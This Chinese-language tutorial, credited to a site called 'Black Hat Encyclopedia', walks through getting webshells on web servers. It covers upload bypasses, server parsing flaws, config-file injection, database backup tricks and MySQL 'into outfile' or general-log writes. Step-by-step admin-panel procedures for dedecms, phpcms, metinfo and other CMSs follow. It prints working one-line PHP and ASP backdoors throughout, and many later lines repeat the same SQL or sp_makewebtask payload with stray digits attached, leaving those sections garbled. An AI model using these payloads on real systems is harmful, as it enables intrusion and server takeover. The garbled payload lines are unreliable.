一.getShell是什么
利用漏洞获取一定的服务器权限就是getshell,如果是web漏洞就叫webshell,还有别的shell,ftp、sql、3899、4899等等,一般来说这个shell权限很低,需要提权后才能获取服务器的管理员权限。
二.getShell获取思路
主要通过百度搜索CMS网站程序名称。
如:phpcms拿Webshell、WordPress后台拿Webshell等
原理:后台文件重命名(e.g xxx.jpg-> xxx.asp)
文件上传
"%> <%eval request("chopper")%><%'
改完后配置文件数据也被修改
网站标题在首页
一般用图片一句话
数据库into_file写入一句话或木马
二.getShell思路总结
一、方法分类
1.带有漏洞的应用
redis 、tomcat、解析漏洞、编辑器、FTP
2.常规漏洞
sql注入、上传、文件包含、命令执行、Struts2、代码反序列化
3.后台拿shell
上传、数据库备份、配置插马
关于各种带有漏洞的应用以及OWASP Top10常规漏洞需要不断的积累,打造自己的核心知识库,道路且长。本文仅记录最近对常见cms后台getshell的学习总结
二、网站常见getshell方法
1.数据库备份拿shell
如果网站后台具有数据库备份功能,可以将webshell格式先修改为允许上传的文件格式如jpg,gif等。然后找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式。
2.上传
上传是拿shell最常见的方式,不区分web前后台,有上传的地方均需尝试上传。常见的上传绕过方法:
本地js验证上传
服务器mime绕过
服务器文件头绕过
服务器 filepath上传
双文件上传
%00截断上传
上传其他脚本类型
3.修改允许上传类型
进入网站后台后找到上传点发现对上传有白名单限制,正好又可以添加白名单,可以将脚本格式写入白名单然后进行上传。如果容器允许的情况下,尝试上传与网站源码不同类型的脚本格式拿shell
4.服务器解析漏洞
IIS 5.x/6.0解析漏洞
目录解析:x.asp/1.jpg
分号解析:x.asp;.jpg会被解析asp格式
其他文件名:cer,asa,cdx…
IIS 7.0/IIS 7.5/
畸形文件名解析:test.jpg/*.php
Nginx
畸形解析漏洞 :test.jpg/*.php(Nginx版本无关,只与配置环境有关)
<8.03空字节代码执行漏洞 :test.jpg%2500.php
Apache解析漏洞
Apache解析文件时是按照从右向左的方式,test.php.aaa.sss,Apache无法解析.aaa.sss,向左解析到.php,于是test.php.aaa.sss就被解析为php文件
5.编辑器
低版本的ewebeditor、fckeditor编辑器均有漏洞可以利用。或绕过上传或结合解析漏洞
6. 网站配置插马
在网站后台的一些配置接口中最终的配置结果会写进网站配置文件,这里通过源码的过滤规则进行闭合语句可以直接将shell写进配置文件从而getshell。注意:网站后台配置插马属于高危操作,如果闭合失败网站将全面崩溃,不建议生产环境下操作。
例:良精后台配置插马
#配置文件路径:../inc/config.asp#插马语句:"%><%eval request("123")%><%'
http://192.168.1.10:8009//inc/config.asp
7.上传插件
将shell添加到安装的插件中上传服务器拿shell。典型如wordpress
8.数据库执行
通过数据库执行命令导出一句话到网站目录拿shell。此方法需要有数据库写入权限,且知道网站目录
sqlserver 导出
SQL server 2005之后就不能导了,因为sp_makewebtask存储过程被取消了
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut
mysql导出
版本一
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;
版本二
use mysql;create table x(packet text) type=MYISaM;insert into x (packet) values('<pre><body ><?php @system($_GET["cmd"]); ?></body></pre>')select x into outfile 'd:\php\xx.php'
版本三
select '<?php eval($_POST[cmd]);?>' into outfile 'C:/Inetpub/wwwroot/mysql-php/1.php'
9.文件包含
可绕过waf拿webshell。借助文件包含躲避waf拦截。一般用来上大马用
asp 包含代码
<!--#include file="123.jpg"-->#调用的文件必须和被调用文件在同一目录,如果不在同一目录,用下面的语句:<!--#include virtual="文件所在目录/123.jpg"-->
php包含
<?phpinclude('123.jpg');?>
10. 命令执行
echo ^<^?php @eval($_POST['cmd']);?^>^ > c:\1.php
^<^%eval request("cracer")%^>^ > c:\1.php
# 需要知道网站路径
dedecms版本:http://192.168.1.10:8030/data/admin/ver.txt
默认后台:http://192.168.1.10:8030/dede/
# dedecms后台一般都被修改不好找,可借助google语法:Powered byDedeCMSV57_GBK_SP2 site:xx.com
一、后台文件上传
进入后台:核心》附件管理》文件式管理器》可直接修改源码或者上传shell
写马
连接
如果目标“文件式管理器”接口被阉割,也许只是单纯的在前端删除了入口。可以修改js调用:
media_main.php?dopost=filemanager#找到任意按钮修改js代码如图,即可再次调用文件管理
如果权限被限制无法上传到upload以外的目录。通过修改名称跨越目录,绕过权限封锁
二、数据库执行拿shell
sql命令行工具》写shell
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut0
写shell
连接
一、数据库备份(备份图片马、备份数据库)
系统管理》数据库备份页面经常被删除,需要修改js重新调用数据库备份页面
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut1
1.上传图片马
产品管理》添加产品》上传图片马
2.审查元素,找到图片马路径
如:http://192.168.1.10:8009/UploadFiles/1.jpg
3.开始备份
注意点:
1.如果附加了asa无法访问,尝试删除asa访问。解析即可。
2.如果出现文件头为database、jet db。表示实际备份的还是数据库,我们提交的图片马并没有备份到。这里尝试添加管理员将shell写进数据库。然后再备份即可。这如果长度有限制,可以在审查元素修改maxlength或者抓包
3.如果数据库路径…/Databases/0791idc.mdb框无法修改。尝试审查元素或者burp改包
4.备份目录不用管
二、配置插马
三、修改上传类型突破上传
四、双文件突破上传
五、修改editor/admin_style.asp
1.sql语句写shell
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut2
2.修改文件
库项目管理》配送方式
连接:http://192.168.1.10:8103/myship.php
3.前台getshell
http://192.168.1.10:8103/user.php》刷新抓包》发送repeater:
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut3
会在网站根目录下生成1.php一句话木马,密码1337
3.5wordpress上传插件
安装插件》上传插件》插件马(正常插件+大马压缩包)》上传成功
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut4
4.phpmyadmin写shell
phpmyadmin 常见路径:phpmyadmin、pma、pmd、pm、phpmyadmin+版本号。或者端口号搭建888/999/8888/777。可尝试爆破登录:
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut5
寻找网站根目录
1.找mysql安装目录
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut6
2.根据mysql安装路径推理出apache配置文件(记录了网站根目录)
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut7
3.使用某个数据库,创建一个表用来读取apache的配置文件
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut8
如果有waf会拦截不让导shell
1.找免杀马
2.开启外联
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut9
3.通过远程地址链接mysql服务器导入一句话
如果导出函数into outfile 被禁用
1.生成日志getshell
genaeral log设置为on,备份genaeral log file路径后修改为我们要导的shell路径。然后执行带有一句话的sql语句写入日志文件,成功getshell。完成后记得还原genaeral log file路径
备份路径:genaeral log file:D:\SOFT\webbuild\php\MySQL\data\DESKTOP-CCDQEGR.log
执行:select “<?php phpinfo();?>”
写入成功:http://localhost/xxx.php
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;0
科迅cms需要使用ie低版本浏览器
一、添加上传类型
这里会回显文件名不合法。但是实际上已经上传成功(新版本失败)
1.插件管理,界面风格修改asp文件
2.扩展功能,数据库备份
3.配置插马
幻灯片设置
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;1
7.SD cms
1.上传设置,添加脚本类型(大小写替换)
2.界面,模板管理,点击sdcms_index.asp,插入一句话到首页
8.phpcms
1.界面,模板风格,详情列表,修改脚本格式文件
2.phpsso(没有这个界面的话调用js),系统设置,ucenter设置,插马
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;2
连接:
3.内容,专题,添加专题
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;3
添加专题1
添加专题2
扩展设置,专题模板。value值设置为:
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;4
提交,提交完成后会在根目录生成0.php后门文件
9.metinfo
1.安装插件getshell
2.安全》备份与恢复》数据库备份》下载》打开sql文件》合适的地方输入语句:
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;5
》重新压缩》删除之前备份文件》上传修改之后的数据库备份文件》导入:执行sql语句》生成shell
3.<6.0,直接访问:
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;6
在upload目录下生成index.php的一句话:
连接:192.168.1.10/upload/index.php
10.discuz
管理后台:admin.php
创始人管理后台:uc_server/admin.php
管理后台:
1.站长,uccenter设置,插马,待复现。参考:
https://paper.seebug.org/1144/#2-ucketdz
11.帝国cms
1.系统》数据表与系统模型》管理数据表》管理系统模型》导入系统模型》上传1.php.mod》会在当前目录下生成一句话co.php:
连接:http://192.168.1.10:8111/e/admin/co.php
2.帝国备份王getshell
1.网站信息设置》附件设置,添加允许上传类型getshell
2.网站信息设置》增加新变量
》提交》基本设置:1;@eval($_POST[a])
》提交>连接:http://192.168.1.10:8112/admin/default.php
新版本过滤分号无法连接:慎重插马
1.前台直接上传
https://blog.csdn.net/weixin_44508748/article/details/105671332
2.后台编辑器
产品》修改》
连接:http://192.168.1.12/phpweb/3151/product/pics/20200628/202006281593274850595.php
版权声明:本文为 “黑帽百科” 原创文章,转载请附上原文出处链接及本声明;
工作时间:10:00~22:00
客服电话
电子邮件
hack66666@foxamil.com
扫码二维码
获取最新动态